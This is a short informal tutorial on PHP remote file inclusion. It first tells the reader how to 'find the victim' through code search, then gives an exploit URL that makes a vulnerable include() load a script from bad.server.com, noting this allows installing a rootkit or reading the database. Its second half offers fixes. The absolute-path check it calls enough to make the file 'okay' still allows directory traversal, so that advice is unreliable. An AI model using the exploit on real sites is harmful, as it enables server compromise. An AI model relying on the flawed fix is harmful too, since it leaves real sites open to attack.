Here we go.

What you wanna do ?

You can do whatever you want once you have this access: installing a rootkit, looking at the db etc.

How to do that ?

Follow the next instructions...

First: Find the victim

Thanks to google code search, you can look for a basic php include with a get/post value. Mine the results until you find something interesting...

What the hell can I do to execute server side script ?

Basically, what you've found is:

<? ..
   include( $_GET['myFile'] );
?>

Just give the script what he wants: http://.../blah.php?myFile=http://bad.server.com/myScriptPHP.txt

What can I do if my website has such a vulnerability ?

The most easy for you is to add absolute path, such as:

<? ..
   include( '/home/foo/www/docs/' . $_GET['myFile'] );
?>

Then, to be sure that the file is okay, you only have to allow in-domain file opening, then:

<? ..
   $myFile = '/home/foo/www/docs/' . $_GET['myFile'];
   if (!file_exists($myFile))
      $myFile = '/home/foo/www/error/404.html';
   include( $myFile );
?>

Another way to do that is the next:

<? ..
   $myFile = htmlentities($_GET['myFile']);
   switch($myFile){
      case 'menu':
      case 'blog':
      case 'cv':
         break;
      default: $myFile = 'error'; break;
   }
   include( $myFile );
?>